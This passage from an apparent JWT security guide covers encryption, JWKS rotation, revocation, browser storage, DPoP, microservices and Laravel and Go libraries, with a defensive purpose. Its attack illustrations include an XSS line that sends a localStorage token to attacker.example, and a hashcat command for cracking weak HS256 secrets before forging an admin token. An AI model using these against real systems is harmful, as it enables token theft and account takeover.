8 cty JWT -> verify inner JWS (iss, aud, exp)Real scenario: an ID token encrypted to the relying party because it carries a national id (OIDC Core: "If the ID Token is encrypted, it MUST be signed then encrypted"); a health platform that passes patient identifiers through a browser redirect; Passport's laravel_token cookie, which the Passport docs describe as "an encrypted JWT" (Laravel's cookie encryption wraps a JWT; it is not a JOSE JWE); an access token that crosses a third-party CDN that logs headers.
What provides it:
| Need | Mode | Note |
|---|---|---|
| Issuer and recipient share a secret | dir + A256GCM | Simplest; this chapter's jwe package |
| Many issuers encrypt to one recipient's public key | RSA-OAEP-256 + A256GCM | Recipient publishes an use: enc JWK |
| Small keys, forward-ish secrecy per message | ECDH-ES (+A256KW) + A256GCM | Validate the ephemeral point (RFC 8725 3.4) |
| Legacy interop only | RSA1_5 | Avoid (RFC 8725 3.2) |
| Go | lestrrat-go/jwx, go-jose | golang-jwt has no JWE |
| PHP | web-token/jwt-framework | firebase/php-jwt has no JWE |
Fix / how to use it: first try not putting secrets in the token (OWASP: "Prefer keeping sensitive data server-side behind an opaque reference token"); if claims must travel, sign then encrypt, allowlist alg/enc, reject zip, and verify the inner JWS. The jwe package and TestNestedSignThenEncrypt show the five parts.
JWK, JWKS, discovery, key rotation and caching Must-know
In plain words: the issuer publishes its public keys as JSON at a URL; verifiers fetch that list once, cache it, and look up the key named by each token's kid. Rotation is "publish the new key, wait, start signing with it, wait, remove the old one".
Common misunderstanding: "When we rotate, we swap the key in the JWKS." Swapping breaks two groups at once: verifiers whose cache still holds only the old key reject new tokens, and tokens signed with the old key (still within exp) fail everywhere that already refreshed. OpenID Connect Core section 10.1.1 describes the overlap: keys "can be rolled over by periodically adding new keys to the JWK Set", the verifier goes "back to the jwks_uri location to re-retrieve the keys when it sees an unfamiliar kid value", and the JWK Set "SHOULD retain recently decommissioned signing keys for a reasonable period of time".
Definition: RFC 7517 JWK members: kty (RSA, EC, OKP, oct), use (sig or enc), key_ops, alg, kid, x5c/x5t; RSA n/e; EC crv/x/y; OKP crv/x. A JWK Set is {"keys":[...]}. OIDC Discovery: GET <issuer>/.well-known/openid-configuration returns metadata whose issuer "MUST be identical to the iss Claim value in ID Tokens" and whose jwks_uri is REQUIRED and "MUST use the https scheme"; RFC 8414 does the same for plain OAuth (/.well-known/oauth-authorization-server). RFC 8725 section 3.8 binds keys to issuers: the application "MUST validate that the cryptographic keys used for the cryptographic operations in the JWT belong to the issuer".
Verifier JWKS cache (TTL from Cache-Control max-age, clamped 1 min .. 24 h)
1 t=0 token kid=2026-11 cache empty -> fetch JWKS {2026-11} fetches=1
2 t=1 min token kid=2026-11 cache fresh -> no network fetches=1
3 t=2 min token kid=2026-12 unknown kid -> refetch {2026-11,2026-12} fetches=2
4 t=3 min 1000 tokens with random kids -> at most one refetch per 30 s fetches=2
5 t=10 min IdP returns 503 -> keep serving cached keys (MaxStale 1 h) fetches=3
6 t=2 h IdP still down -> beyond MaxStale: reject, alert fetches=4Real scenario: an IdP rotates at 03:00 and verifiers that cached the JWKS for 24 h without "refresh on unknown kid" return 401 for every new token until the cache expires; a verifier that refetches on every unknown kid becomes a DoS amplifier against the IdP when an attacker sends random kids; a Kubernetes rollout of 300 pods all fetch the JWKS at once (a thundering herd: use jitter or a shared cache); a compromised signing key forces an emergency rotation where waiting is wrong: remove the key immediately and accept the 401s.
What provides it:
| Product / library | Where keys come from | Caching and refresh |
|---|---|---|
| Envoy jwt_authn | remote_jwks.http_uri (with a timeout) | cache_duration (docs example: 300s) |
| Istio RequestAuthentication | jwksUri or jwks inline | timeout for the JWKS fetch, "Default is 5s" |
golang MicahParks/keyfunc/v3 | JWKS URLs | Refresh goroutine; refresh on unknown kid with rate limit |
| lestrrat-go/jwx | jwk.Cache / jwkfetch extension | Periodic refresh, stale on error |
firebase/php-jwt CachedKeySet | JWKS URI + PSR-6 cache | "If an unrecognized key is requested, the cache is refreshed"; optional 10 requests per second limit |
This chapter's jwks.Client | JWKS URL (+ jwks.Discover) | max-age clamp, RefreshFloor 30 s, MaxStale 1 h |
This chapter's JwksKeySet.php | Discovery + JWKS via Laravel HTTP client | Cache::flexible([600, 3600]), 30 s refresh gate with Cache::add |
Fix / how to use it: discover the jwks_uri from the configured issuer and check issuer equality; cache with a bounded TTL; refetch on unknown kid at most once per 30 s; serve stale keys during IdP outages for a bounded time; rotate by overlap: publish, wait one cache TTL, sign with the new key, keep the old key until the last old token's exp plus leeway plus cache TTL. TestRotation, TestUnknownKidFloodIsRateLimited and TestCacheControlAndStaleOnError prove each rule.
Access, ID, refresh and opaque tokens Must-know
In plain words: the access token opens the API; the ID token tells the client who logged in; the refresh token gets new access tokens from the authorization server. Only the first two are usually JWTs, and only the first is for your API.
Common misunderstanding: "The refresh token should be a JWT too, so we can validate it anywhere." A refresh token is only ever presented to the authorization server that issued it, which has the database anyway; making it self-contained only removes the revocation you need most. RFC 9700 requires that "Refresh tokens for public clients MUST be sender-constrained or use refresh token rotation", and rotation means state.
Definition: access token: presented to resource servers (RFC 6750 Authorization: Bearer); as a JWT, profiled by RFC 9068 (typ: at+jwt, aud = resource). ID token: OIDC Core, always a JWT, aud = the client id, for the client to read, may carry nonce, at_hash, azp, auth_time, acr, amr, sid. Refresh token: opaque to the client, long-lived, exchanged at the token endpoint; with rotation "the authorization server issues a new refresh token with every access token refresh response" and a reused old one "will inform the authorization server of the breach". Opaque token: a random reference string; the resource server learns its meaning by introspection (RFC 7662) or a shared store.
SPA / BFF Authorization server Orders API
1 code + PKCE -------------> issue access (10 min, JWT, aud=orders)
issue ID token (JWT, aud=client)
issue refresh (opaque, 30 days, rotated)
2 GET /orders Bearer access --------------------------------------> verify locally, 200
3 t=10 min: 401 invalid_token (expired)
4 POST /token refresh_token=R1 -> R1 valid -> new access + R2; R1 marked used
5 attacker replays R1 -------> R1 already used -> revoke the whole family (R2 too)
6 user clicks logout --------> revoke refresh family; access dies within 10 minReal scenario: a mobile banking app with 5-minute access tokens and rotated refresh tokens; Laravel Passport, which issues "long-lived access tokens that expire after one year" unless you call Passport::tokensExpireIn; an AWS ALB that, per its docs, "creates a new access token when authenticating a user and only passes the access tokens and claims to the backend, however it does not pass the ID token information"; a partner integration using the client credentials grant, where sub is the client (RFC 9068 "the value of "sub" SHOULD correspond to an identifier the authorization server uses to indicate the client application").
What provides it:
| Token | Format | Audience | Lifetime (typical) | Revocation |
|---|---|---|---|---|
| Access token (JWT) | JWS, typ: at+jwt | Resource server | 5 to 15 min | Denylist / versions, or wait |
| Access token (opaque) | Random | Resource server via introspection | Minutes to hours | Instant |
| ID token | JWS (optionally nested in JWE) | Client | Minutes; used once at login | Not used for API calls |
| Refresh token | Opaque (usually) | Authorization server | Days to months, rotated | Instant at the AS |
| Laravel Passport access token | RS256 JWS + DB row | The Laravel app (aud = client id) | Default 1 year; set 15 min | revoke() sets revoked; checked by jti |
| Laravel Sanctum token | Opaque, SHA-256 hashed in DB | The Laravel app | "never expire" by default; expiration config | delete() |
Fix / how to use it: access tokens short and audience-bound; ID tokens never sent to APIs; refresh tokens opaque, rotated, stored only by a confidential client or BFF; Passport configured with tokensExpireIn(CarbonInterval::minutes(15)) (see AppServiceProvider.php).
Revocation strategies Must-know
In plain words: a signed token stays valid until exp no matter what happens; revocation means adding back a small amount of state that every verifier consults, or shrinking exp until waiting is acceptable.
Common misunderstanding: "Denylist the SHA-256 of the token." OWASP warns this "is not safe and might expose the application to denylist bypass through JWT malleability": non-strict parsers and ECDSA signature malleability can produce a different byte string that still verifies. Denylist the identity of the token: (iss, jti), and for whole sessions or users use sid and a version number.
Definition:
| Strategy | Mechanism | Revocation delay | Cost per request |
|---|---|---|---|
| Short TTL + refresh | Access 5 to 15 min; revoke the refresh token at the AS | Up to the access-token TTL | None |
jti denylist | Redis SET jwt:{sub}:jti:<jti> 1 EXAT <exp> | Seconds (store replication) | One Redis read |
sid logout | Denylist the session id carried in the token (OIDC sid) | Seconds | Same read (MGET) |
| Token versioning | ver claim compared with a per-user counter (INCR jwt:{sub}:ver) | Seconds | Same read (MGET) |
| Introspection (RFC 7662) | POST /introspect token=... returns "active": true/false | Instant (or the cache TTL) | One HTTP call (cacheable) |
| Back-Channel Logout (OIDC) | IdP POSTs a logout+jwt with sid/sub to each RP | Seconds | None per request; RP keeps the state |
| Token Status List (IETF draft, cited by OWASP) | Issuer publishes a compressed status bit list | List TTL | Cached list lookup |
RFC 7662 on caching introspection: "The response MAY be cached by the protected resource to improve performance and reduce load on the introspection endpoint, but at the cost of liveness of the information".
User / admin Redis (denylist) Any API replica
1 logout on phone (sid=phone) SET jwt:{u1}:sid:phone 1 EX 900
2 MGET jti, sid:phone, ver -> sid hit -> 401
3 laptop token sid=laptop -> 200
4 password change INCR jwt:{u1}:ver -> 4
5 old token ver=3 < 4 -> 401 everywhere
6 admin revokes one token SET jwt:{u1}:jti:9f2c 1 EXAT exp
7 t = exp keys expire by themselves: no cleanup job, bounded memoryReal scenario: "log out of all devices" after a stolen laptop; an employee offboarded at 17:00 whose access tokens must stop before 17:01; a fraud team freezing one session without touching the user's other devices; a regulator requiring that a password change invalidates every session; a Redis outage during which revoked admin tokens must not come back (fail closed for sensitive routes).
What provides it:
| Product | Revocation it offers |
|---|---|
| Laravel Passport | $token->revoke(), $token->refreshToken?->revoke(); league's BearerTokenValidator checks isAccessTokenRevoked($claims->get('jti')) and fails with "Access token has been revoked"; passport:purge cleans revoked and expired rows |
| Laravel Sanctum | $user->tokens()->delete(), currentAccessToken()->delete(); sanctum:prune-expired --hours=24 |
| OIDC IdPs | Refresh-token revocation (RFC 7009), introspection (RFC 7662), Back-Channel Logout with sid |
This chapter's Go revocation.Store | RevokeToken (EXAT), RevokeSession, BumpVersion, Check with one MGET, fail-closed by default |
This chapter's TokenRevocation.php | Cache::store('redis')->put(..., DateTime) until exp, increment for versions, many() for one round trip |
Fix / how to use it: short TTL always; add a Redis check (one MGET of jti, sid, ver) for applications that need fast logout; keep the keys in one Redis Cluster hash slot with a {sub} hash tag; let entries expire with the token; decide fail-open vs fail-closed per route. SQL for the durable side:
-- Durable denylist (audit, and to rebuild Redis after a flush)
CREATE TABLE revoked_tokens (
issuer text NOT NULL,
jti varchar(64) NOT NULL,
subject text NOT NULL,
expires_at timestamptz NOT NULL,
revoked_at timestamptz NOT NULL DEFAULT now(),
reason varchar(64),
PRIMARY KEY (issuer, jti)
);
CREATE INDEX revoked_tokens_expires_at ON revoked_tokens (expires_at);
-- Per-user token version: bump on password change or "log out everywhere"
ALTER TABLE users ADD COLUMN token_version integer NOT NULL DEFAULT 0;
UPDATE users SET token_version = token_version + 1 WHERE id = 42 RETURNING token_version;
-- Rows are useless after exp: delete them on a schedule
DELETE FROM revoked_tokens WHERE expires_at < now() - interval '5 minutes';
-- Laravel Passport keeps its own state; revoked tokens are rows with revoked = true
SELECT id, user_id, client_id, revoked, expires_at FROM oauth_access_tokens WHERE id = '9f2c...';Stateless vs stateful Important
In plain words: "stateless" means the verifier needs nothing but a public key; every revocation feature you add moves you toward "stateful", and the honest question is how much state, where, and on which requests.
Common misunderstanding: "JWTs are for scale; sessions do not scale." A Redis session lookup costs well under a millisecond inside one region, and a database of sessions scales like any other key-value table. JWTs win when the verifier is far from the issuer (another team, another company, another region, an edge proxy) or when there are many verifiers. OWASP: "if you use JWTs for user sessions, you will need a solution for managing session invalidation ... user sessions won't be completely stateless anymore which might defeat the benefits".
Definition: a stateless token is self-contained: validity depends only on the token, the keys and the clock. A stateful token's validity also depends on a store (session table, denylist, introspection endpoint). Hybrids are common: stateless for reads, stateful check for writes or admin routes; stateless inside a region with a replicated denylist.
Request path Stateless JWT JWT + Redis check Opaque + introspection
1 signature / lookup ~25-40 us CPU ~25-40 us CPU -
2 network none 1 Redis RTT (MGET) 1 HTTP RTT (cacheable)
3 logout takes effect at exp (minutes) seconds instant / cache TTL
4 IdP or store outage keeps working fail open or closed fail open or closed
(CPU numbers: this chapter's benchmark; RTTs depend on your network)Real scenario: a single Laravel monolith with Sanctum SPA cookies (stateful, no JWT at all, and correct); a public API serving 50 partner integrations with JWT access tokens verified at the gateway; a bank that verifies JWTs locally for balance reads but introspects for transfers; an edge worker (Cloudflare Workers, Lambda@Edge) that can verify a signature but cannot reach the session database.
What provides it: see the decision tables.
Fix / how to use it: start stateful (sessions or opaque tokens) inside one application; adopt JWTs at the boundary where a lookup would cross a team, a network or a trust domain; add the smallest state that meets the logout requirement.
Browser storage: localStorage, XSS, cookies and the BFF Must-know
In plain words: wherever JavaScript can read the token, an XSS bug can steal it. The safest place for a browser app's tokens is not in the browser at all.
Common misunderstanding: "An HttpOnly cookie protects us from XSS." It protects the token from being read and sent elsewhere; malicious script running in your page can still make requests that the browser decorates with the cookie. RFC 10017 is blunt about the alternative: "localStorage does not protect against unauthorized access from malicious JavaScript, as the attacker would be running code within the same origin". Cookies add CSRF to the threat model (SameSite, CSRF tokens: see Web Sessions).
Definition: options, from weakest to strongest: tokens in localStorage (persist, shared across tabs, readable by any same-origin script); sessionStorage (per tab, same exposure); in-memory in a JS closure or a Web Worker (lost on reload, still reachable by injected code during the session); HttpOnly Secure SameSite cookie holding a session that a Backend-for-Frontend maps to tokens (RFC 10017 section 6.1 BFF); sender-constrained tokens (DPoP) whose private key is non-extractable.
XSS payload injected in a comment field (same origin)
1 with localStorage: fetch("https://attacker.example/?t=" + localStorage.access_token)
2 token used from the attacker's laptop for its full lifetime (and the refresh token for 30 days)
3 with BFF + HttpOnly cookie: document.cookie shows nothing; token never reaches JS
4 attacker can still act through the victim's open tab, but only while it is open
5 with DPoP: stolen access token is useless without the non-extractable private keyReal scenario: an SPA template that stores access_token in localStorage because the tutorial did; a third-party analytics script compromised in a supply-chain attack; Laravel Sanctum's SPA mode, which "does not use tokens of any kind" and instead uses session cookies with CSRF protection, explicitly to protect "against leakage of the authentication credentials via XSS"; Passport's CreateFreshApiToken middleware, which attaches a laravel_token cookie containing "an encrypted JWT" for the application's own JavaScript.
What provides it:
| Pattern | Token visible to JS | CSRF exposure | Survives reload | Product example |
|---|---|---|---|---|
localStorage | Yes | No | Yes | Many SPA tutorials |
| In-memory + silent refresh | Yes (during session) | No | No | OIDC client libraries |
| HttpOnly cookie with the JWT itself | No | Yes (needs SameSite/CSRF) | Yes | Passport laravel_token |
| BFF session cookie, tokens server side | No | Yes (SameSite + CSRF token) | Yes | Laravel Sanctum SPA auth, RFC 10017 section 6.1 |
| DPoP-bound tokens | Yes, but bound to a key | No | Depends | RFC 9449 clients |
Fix / how to use it: for first-party SPAs on the same site use a BFF or Sanctum's cookie mode; for third-party SPAs use the authorization code flow with PKCE, keep access tokens in memory, short-lived, refresh tokens rotated (RFC 9700) or DPoP-bound; never put tokens in URLs (PortSwigger: "Avoid sending tokens in URL parameters where possible"), which is why httpauth.Require and VerifyIdpToken read only the Authorization header.
Replay and proof of possession: jti, DPoP, mTLS, cnf Important
In plain words: a bearer token works for whoever holds it. Proof of possession binds the token to a key, so the thief also needs the key.
Common misunderstanding: "Checking jti uniqueness stops replay of access tokens." Remembering every jti ever seen turns every request into a write and every API replica into a shared store; it is right for one-time tokens (password-reset links, DPoP proofs, signed webhooks) and wrong for access tokens that are legitimately sent many times.
Definition: RFC 7800 cnf (confirmation) claim: "the issuer of the JWT declares that the presenter of the JWT possesses a particular proof-of-possession key". RFC 9449 DPoP: the client sends a DPoP header containing a JWT with typ: dpop+jwt, the public key in jwk, htm (HTTP method), htu (target URI), iat, jti, and ath (hash of the access token); the access token carries cnf.jkt, the JWK SHA-256 thumbprint; the server may require a server-provided nonce. Certificate-bound tokens (RFC 8705, "Mutual-TLS Client Certificate-Bound Access Tokens") carry the client certificate thumbprint (cnf.x5t#S256) instead. OWASP: sender-constrained tokens "limit an attacker's ability to use a stolen token without its associated private key. They do not prevent token disclosure."
Client (holds non-extractable key K) Resource server
1 DPoP proof = JWS(K){htm:GET, htu:https://api.example.com/orders, iat, jti, ath=hash(AT)}
2 GET /orders Authorization: DPoP <AT> DPoP: <proof> -> 3 verify AT (iss, aud, exp, cnf.jkt)
4 verify proof with jwk in its header
5 thumbprint(jwk) == cnf.jkt ? htm/htu match ?
6 jti not seen in the last few minutes ?
7 attacker replays AT without K ------------------------> no valid proof -> 401Real scenario: a mobile app whose tokens are extracted from a rooted device; an open-banking API requiring certificate-bound tokens; a webhook receiver that rejects a replayed signed payload by remembering jti for its 5-minute validity; a password-reset JWT that must work exactly once.
What provides it:
| Mechanism | Binds to | Replay window | Where it fits |
|---|---|---|---|
| Bearer + short TTL | Nothing | TTL | Default |
jti one-time cache | The single use | Token lifetime | Reset links, webhooks, DPoP proofs |
| DPoP (RFC 9449) | Client key pair | Proof iat window | SPAs, mobile, public clients |
| mTLS-bound (RFC 8705) | Client certificate | Connection | Service-to-service, open banking |
Fix / how to use it: keep bearer tokens short; use DPoP or mTLS for high-value public clients and service-to-service traffic (see Mutual TLS); keep a jti cache only for one-time tokens, with TTL equal to the token lifetime (SET NX EX).
Weak secrets and long lifetimes Important
In plain words: an HS256 token signed with a guessable secret can be cracked offline from one captured token; a token valid for a year is a year-long key to the account.
Common misunderstanding: "Our secret is in an environment variable, so it is safe." Storage is not the problem; entropy is. PortSwigger shows hashcat -a 0 -m 16500 <jwt> <wordlist> and notes that because it "runs locally on your machine and doesn't rely on sending requests to the server, this process is extremely quick". Default and copy-pasted secrets ("your-256-bit-secret", "changeme") are the first words tried.
Definition: RFC 8725 section 3.5: "human-memorizable passwords MUST NOT be directly used as the key to a keyed-MAC algorithm such as "HS256"". RFC 7518: HS256 keys of at least 256 bits. Long lifetimes multiply every other weakness: Passport defaults to one year, Sanctum tokens "never expire" by default.
Attacker Server
1 capture one HS256 token (log, screenshot, Referer)
2 hashcat -m 16500 token.txt rockyou.txt (offline, no requests)
3 secret = "secret123" found
4 mint {"sub":"admin","exp": now + 10 years} ----> valid signature -> full accessReal scenario: a Node or Laravel tutorial secret that reached production; a JWT signing key committed to Git; personal access tokens issued for "integration testing" with no expiry still working two years later; a 30-day access token stolen from a log file.
What provides it:
| Product | Default lifetime | Knob |
|---|---|---|
| Laravel Passport access tokens | One year | Passport::tokensExpireIn() |
| Laravel Passport refresh tokens | Not stated on the page read | Passport::refreshTokensExpireIn() |
| Laravel Passport personal access tokens | Not stated on the page read | Passport::personalAccessTokensExpireIn() |
| Laravel Sanctum | "never expire" | expiration in config/sanctum.php, third argument of createToken |
| This chapter's Go issuer | Caller-set TTL | issuer.Issuer{TTL: 10 * time.Minute} |
Fix / how to use it: 32 random bytes from a CSPRNG for HMAC (keys.NewHS256 refuses less, see ErrWeakSecret); prefer asymmetric keys across services; access tokens 5 to 15 minutes; expiry on every personal access token; rotate secrets with the same overlap as public keys.
Size and performance Important
In plain words: a JWT travels on every request and is verified on every request. Its size costs bandwidth and can break header limits; its signature costs CPU.
Common misunderstanding: "Put the user's roles and permissions in the token so we never query them." Each permission string adds bytes to every request, permissions go stale until exp, and at a few hundred entries the token stops fitting in a cookie (RFC 6265 asks browsers for "At least 4096 bytes per cookie") or in a proxy's header buffer (NGINX large_client_header_buffers default 4 8k: "A request header field cannot exceed the size of one buffer as well, or the 400 (Bad Request) error is returned").
Definition: token size = header + payload + signature in base64url (4/3 of the bytes) + 2 dots. Signature sizes: HS256 32 bytes, ES256/EdDSA 64, RS256 2048-bit 256, 4096-bit 512. Verification cost depends on the algorithm (measured below) plus JSON parsing; key lookup should be an in-memory map, never a network call on the hot path.
Output of go run ./cmd/tokensize (same claims, issuer and audience)
1 alg / key bytes signature
2 HS256 hs-2026-11 502 43
3 EdDSA ed-2026-11 545 86
4 ES256 es-2026-11 545 86
5 RS256 rs-2026-11 801 342
6 RS256 rs4-2026-11 1143 683
7 ES256 + 200 scopes 6636 (NGINX default header buffer: 8192)Real scenario: a B2B SaaS that put 300 tenant permissions in the access token and started getting 400 responses from NGINX for its largest customers; an ID token in a cookie that crossed 4 KB and was silently dropped by the browser; a gateway doing 40,000 RS256 verifications per second, which at 23.7 us each is about one CPU core (0.95 core-seconds per second) and is cheap compared with doing 40,000 introspection calls; a JWKS fetched on every request because the cache was per-request in PHP-FPM.
What provides it:
| Limit or cost | Number | Source |
|---|---|---|
| Browser cookie | at least 4096 bytes per cookie, 50 per domain | RFC 6265 section 6.1 |
| NGINX request header | large_client_header_buffers 4 8k default; 400 if one header exceeds a buffer | NGINX core module docs |
| RS256 verify / sign | 23.7 us / 704.7 us per token | This chapter's benchmark (M4 Pro) |
| EdDSA verify / sign | 28.7 us / 14.6 us | Same |
| ES256 verify / sign | 37.8 us / 17.9 us | Same |
| HS256 verify / sign | 2.7 us / 2.1 us | Same |
Fix / how to use it: keep claims to identity and coarse scopes; resolve fine-grained permissions at the service (see Authorization Models); prefer EdDSA/ES256 for size; cache the JWKS per process (Go) or in Redis/APCu (PHP); reject tokens above a size limit before parsing (Verifier.MaxBytes, 8 KiB default).
JWT in microservices Important
In plain words: the gateway checks the token at the door, but each service that makes a security decision checks it again, for its own audience; services calling each other get tokens of their own.
Common misunderstanding: "The gateway validated the JWT, so services can trust an X-User-Id header." Any pod that can reach the service directly (a compromised neighbour, a debug port-forward, a misrouted internal call) can set that header. Envoy's own docs show the care needed: the filter "strips every configured forward_payload_header and claim_to_headers header name from the request before applying rules ... so client-supplied values cannot be forwarded as authenticated identity".
Definition: patterns: (1) edge validation at the gateway (Envoy jwt_authn, Istio RequestAuthentication, the Kong JWT plugin, AWS API Gateway HTTP API JWT authorizers) plus re-validation in each service with its own aud; (2) claim propagation: the gateway forwards the original token (forwardOriginalToken in Istio, forward in Envoy) or a verified payload header (forward_payload_header, claim_to_headers, Istio outputClaimToHeaders) that services trust only over mTLS; (3) token exchange (RFC 8693): a service trades the user's token for a new one with a narrower audience to call the next service, and the act (actor) claim records which service is acting; (4) service tokens: client credentials grant, sub = client id, ideally sender-constrained with mTLS.
Browser -> BFF -> Gateway -> orders -> billing
1 BFF sends Bearer AT(aud=[orders, billing]? no: aud=orders)
2 Gateway: verify iss/aud/exp/typ with cached JWKS, strip x-jwt-payload from the client, forward
3 orders: verify again (aud=orders), authorize order 77 for sub=u1
4 orders -> billing: token exchange -> AT2(aud=billing, act={sub:orders-svc}, sub=u1) over mTLS
5 billing: verify AT2, sees both the user and the acting serviceReal scenario: an Istio mesh where RequestAuthentication validates JWTs at every sidecar and AuthorizationPolicy requires requestPrincipals; a Kong gateway in front of a Laravel monolith and three Go services; an AWS ALB with OIDC authentication that forwards x-amzn-oidc-data (signed, ES256) and x-amzn-oidc-accesstoken and x-amzn-oidc-identity, which AWS documents as "unsigned plaintext headers provided for backward compatibility"; a background worker calling the billing API with a client-credentials token.
What provides it:
| Product | Validates | Propagates | Note |
|---|---|---|---|
Envoy jwt_authn | issuer, audiences, remote_jwks | forward, forward_payload_header, claim_to_headers | Strips configured headers from clients |
Istio RequestAuthentication | issuer, audiences, jwksUri | forwardOriginalToken, outputPayloadToHeader, outputClaimToHeaders | Pair with AuthorizationPolicy |
| AWS ALB OIDC | Authenticates users itself | x-amzn-oidc-data (ES256 JWT), plaintext access token and identity headers | Verify x-amzn-oidc-data signature and signer |
| Kong JWT plugin | "HS256 or RS256 signed" tokens; exp/nbf via config.claims_to_verify | Proxies the request | Rejects requests with several differing tokens "to prevent JWT smuggling" |
| AWS API Gateway HTTP API JWT authorizer | iss, aud or client_id, exp, nbf, iat, scopes | Claims to the integration | "only RSA-based algorithms are supported"; caches the issuer's public key "for up to two hours on a best-effort basis", so allow a rotation grace period |
Laravel Passport EnsureClientIsResourceOwner | Client credentials tokens | Request attributes | sub = client id |
Fix / how to use it: validate at the edge to drop garbage early, re-validate where decisions are made, give each service its own audience, exchange tokens instead of forwarding a token with every audience, and use mTLS for service identity. The Go httpauth.Require middleware is the per-service check.
Alternatives: PASETO, Biscuit, Macaroons Good to know
In plain words: PASETO is "JWT without the algorithm choice"; Biscuit and Macaroons are tokens the holder can narrow (attenuate) offline before passing them on.
Common misunderstanding: "PASETO solves revocation." PASETO removes JOSE's agility footguns (no alg header, no none, no RSA/HMAC confusion by construction); revocation, audience checks and lifetimes are exactly as much your job as with JWT.
Definition: PASETO: "everything you love about JOSE (JWT, JWE, JWS) without any of the many design deficits that plague the JOSE standards"; tokens look like v4.public.<payload+sig> or v4.local.<encrypted>, where the version fixes the algorithms and the purpose is local (shared-key AEAD) or public (signatures). Biscuit: "an authorization token with decentralized verification, offline attenuation and strong security policy enforcement based on a logic language" (Datalog), signed with Ed25519, with revocation identifiers. Macaroons (Birgisson et al., Google research): bearer credentials using "nested, chained MACs (e.g., HMACs)" with caveats that "attenuate and contextually confine when, where, by who, and for what purpose a target service should authorize requests".
Macaroon / Biscuit attenuation (offline, no call to the issuer)
1 issuer -> user: token T0 "may read and write bucket photos"
2 user adds caveat: T1 = T0 + "read only" + "expires 12:30"
3 user -> script: T1 (cannot be widened back to T0)
4 service verifies chain: T0 valid AND every caveat holds -> read allowed until 12:30Real scenario: an internal platform that wants one fixed algorithm per token version (PASETO v4.public, Ed25519); a storage service that lets a user hand a read-only, time-boxed capability to a third-party script (Biscuit or Macaroons); a team that keeps JWT because every gateway, IdP and SDK speaks it.
What provides it:
| Format | Algorithm choice in token | Attenuation | Ecosystem |
|---|---|---|---|
| JWT (JWS/JWE) | Yes (alg, enc) | No | Universal (OIDC, OAuth, gateways) |
| PASETO v3/v4 | No (version fixes it) | No | Libraries in many languages, few gateways |
| Biscuit | No (Ed25519) | Yes, Datalog policies | Rust, Go, Java, JS, Python, C#... |
| Macaroons | No (HMAC chain) | Yes, caveats | Niche |
Fix / how to use it: stay on JWT where interoperability matters (OIDC, gateways, third parties), applying RFC 8725; consider PASETO for internal tokens you both mint and verify; consider Biscuit when delegation with narrowing is a product feature. Signing details for PASETO are in Password Hashing & Signed Tokens.
The Laravel ecosystem: Passport, Sanctum, league/oauth2-server, tymon/jwt-auth Good to know
In plain words: Passport is a full OAuth 2.0 server whose access tokens are RS256 JWTs backed by database rows; Sanctum is not JWT at all (opaque tokens or session cookies); tymon/jwt-auth is a third-party JWT guard; firebase/php-jwt is the common low-level library for verifying tokens from an external IdP.
Common misunderstanding: "Passport tokens are stateless JWTs, so another service can verify them with the public key and get the same answer." It can verify the signature, but league/oauth2-server's BearerTokenValidator also calls isAccessTokenRevoked($claims->get('jti')), so revocation only exists inside the Passport app. The token has no iss, its aud is the OAuth client id (permittedFor($this->getClient()->getIdentifier())), and typ is the default JWT: an external verifier must compensate.
Definition (read from the docs and source):
| Package | Token | Signed how | Claims | Revocation |
|---|---|---|---|---|
| Laravel Passport 13 (on league/oauth2-server) | JWT access token, opaque refresh token | RS256 (Rsa\Sha256) with keys from php artisan passport:keys | aud (client id), jti, iat, nbf, exp, sub (user or client), scopes | revoked column checked by jti |
| Laravel Sanctum | Opaque API token, or session cookie for SPAs | Not signed; SHA-256 hash stored | Abilities in the DB row | Delete the row |
| tymon/jwt-auth (third party, "JSON Web Token Authentication for Laravel & Lumen") | JWT | Configurable (not verified here) | Configurable | Package-specific (not verified here) |
| firebase/php-jwt | Library | HS*, RS*, PS*, ES*, EdDSA | Yours | Yours |
Passport token request and use (one Laravel app)
1 POST /oauth/token grant_type=client_credentials -> league signs RS256 JWT, INSERT oauth_access_tokens(id=jti)
2 GET /api/orders Authorization: Bearer <jwt>
3 TokenGuard -> BearerTokenValidator: signature (public key), LooseValidAt, then SELECT revoked WHERE id=jti
4 $request->user()->token()->revoke() -> UPDATE oauth_access_tokens SET revoked = true
5 same JWT again -> "Access token has been revoked" -> 401Real scenario: a Laravel monolith acting as the OAuth server for its own mobile app and for partners (Passport); a Laravel SPA on the same domain (Sanctum cookie mode, no JWT); a Laravel service in a company that already runs Keycloak or Entra ID, which must verify the IdP's JWTs (firebase/php-jwt + JWKS, this chapter's middleware); a Go service that must accept Passport tokens (verify RS256 with Passport's public key, AcceptTypes: {"JWT"}, audience = an allowlist of client ids, and accept that revocation is invisible to it).
What provides it: see the Laravel angle.
Fix / how to use it: Passport when you are the OAuth server (set lifetimes, scopes, passport:purge); Sanctum for first-party SPAs and simple API tokens; firebase/php-jwt behind a strict verifier for tokens from an external IdP; treat tymon/jwt-auth as a third-party dependency to evaluate, not as part of Laravel.
Go libraries: golang-jwt v5, jwx, go-jose, keyfunc Good to know
In plain words: golang-jwt is the common JWS library with a good validator; jwx covers all of JOSE including JWE and JWKS caching; keyfunc adds a JWKS cache to golang-jwt.
Common misunderstanding: "golang-jwt v5 validates everything by default." It validates exp, nbf and iat if present; aud and iss only when you pass WithAudience/WithIssuer; exp is required only with WithExpirationRequired; typ never (that check is in this chapter's keyfunc).
Definition (from pkg.go.dev and the READMEs): github.com/golang-jwt/jwt/v5 (v5.3.1 at the time of writing): NewParser options WithValidMethods, WithIssuer, WithAudience, WithAllAudiences, WithSubject, WithLeeway, WithExpirationRequired, WithNotBeforeRequired, WithIssuedAt, WithTimeFunc, WithStrictDecoding, WithPaddingAllowed, WithJSONNumber, WithoutClaimsValidation; "alg=none will only be accepted if the constant jwt.UnsafeAllowNoneSignatureType is provided as the key". github.com/lestrrat-go/jwx/v4: "Complete JWA/JWE/JWK/JWS/JWT coverage", JWKS caching via the jwkfetch extension, requires "Go 1.26 or later" (v3 remains for older toolchains). github.com/MicahParks/keyfunc/v3: JWKS for golang-jwt with "An automatic refresh of remote HTTP resources when an unknown key ID (kid) is encountered".
Choosing in Go
1 JWS only, you own the validator -> golang-jwt v5 + your keyfunc (this chapter)
2 JWS + remote JWKS, minimal code -> golang-jwt v5 + keyfunc v3
3 JWE, JSON serialization, many algs -> jwx v4 (Go 1.26+) or go-jose v4
